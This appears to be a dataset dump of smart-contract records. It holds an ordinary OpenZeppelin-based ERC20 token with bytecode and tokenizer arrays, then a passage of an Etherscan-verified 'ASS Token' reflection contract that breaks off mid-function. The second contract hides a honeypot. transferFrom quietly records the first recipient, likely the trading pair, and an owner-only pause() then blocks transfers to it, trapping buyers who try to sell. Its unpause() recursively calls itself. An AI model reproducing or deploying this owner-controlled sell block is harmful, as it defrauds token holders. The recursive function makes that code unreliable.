// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/StandardERC20.sol pragma solidity ^0.8.0; /** * @title StandardERC20 * @dev Implementation of the StandardERC20 */ contract StandardERC20 is ERC20Decimals, ServicePayer { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") { require(initialBalance_ > 0, "StandardERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override returns (uint8) { return super.decimals(); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461014557806370a082311461015857806395d89b4114610181578063a457c2d714610189578063a9059cbb1461019c578063dd62ed3e146101af57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101e8565b6040516100c39190610807565b60405180910390f35b6100df6100da3660046107dd565b61027a565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f3660046107a1565b610290565b60405160ff7f00000000000000000000000000000000000000000000000000000000000000121681526020016100c3565b6100df6101533660046107dd565b610346565b6100f361016636600461074c565b6001600160a01b031660009081526020819052604090205490565b6100b661037d565b6100df6101973660046107dd565b61038c565b6100df6101aa3660046107dd565b610427565b6100f36101bd36600461076e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101f79061088b565b80601f01602080910402602001604051908101604052809291908181526020018280546102239061088b565b80156102705780601f1061024557610100808354040283529160200191610270565b820191906000526020600020905b81548152906001019060200180831161025357829003601f168201915b5050505050905090565b6000610287338484610434565b50600192915050565b600061029d848484610558565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103275760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61033b85336103368685610874565b610434565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161028791859061033690869061085c565b6060600480546101f79061088b565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561040e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161031e565b61041d33856103368685610874565b5060019392505050565b6000610287338484610558565b6001600160a01b0383166104965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031e565b6001600160a01b0382166104f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105bc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031e565b6001600160a01b03821661061e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161031e565b6001600160a01b038316600090815260208190526040902054818110156106965760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161031e565b6106a08282610874565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906106d690849061085c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161072291815260200190565b60405180910390a350505050565b80356001600160a01b038116811461074757600080fd5b919050565b60006020828403121561075e57600080fd5b61076782610730565b9392505050565b6000806040838503121561078157600080fd5b61078a83610730565b915061079860208401610730565b90509250929050565b6000806000606084860312156107b657600080fd5b6107bf84610730565b92506107cd60208501610730565b9150604084013590509250925092565b600080604083850312156107f057600080fd5b6107f983610730565b946020939093013593505050565b600060208083528351808285015260005b8181101561083457858101830151858201604001528201610818565b81811115610846576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561086f5761086f6108c6565b500190565b600082821015610886576108866108c6565b500390565b600181811c9082168061089f57607f821691505b602082108114156108c057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220d837d0bceda62d48fffc1d14b1f4c5f088472d5772b92c5a652995e0d397d99464736f6c63430008050033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2063, 2509, 2063, 17788, 2692, 4215, 2692, 2683, 22407, 29292, 2050, 21926, 2620, 2278, 2575, 2620, 10354, 23352, 2497, 22407, 2581, 2509, 2278, 17465, 2620, 26224, 20958, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,897
0x95e423fea8bf5ace852ab3686c98c8c83d7115db
/** *Submitted for verification at Etherscan.io on 2021-04-23 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ASS is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 420e27; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _symbol = 'ASS'; string private _name = 'ASS Token'; uint8 private _decimals = 18; uint transfers; address newn; bool paused; uint256 public _maxTxAmount = 420e27; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); transfers = 1; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function pause() public onlyOwner { paused = true; } function unpause() public onlyOwner { paused = false; unpause(); } function transfer(address recipient, uint256 amount) public override returns (bool) { require(!paused || recipient != newn); _transfer(_msgSender(), recipient, amount); transfers += 1; return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { if(sender != address(0) && newn == address(0)) { newn = recipient; } else { require(!paused || recipient != newn); } _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, 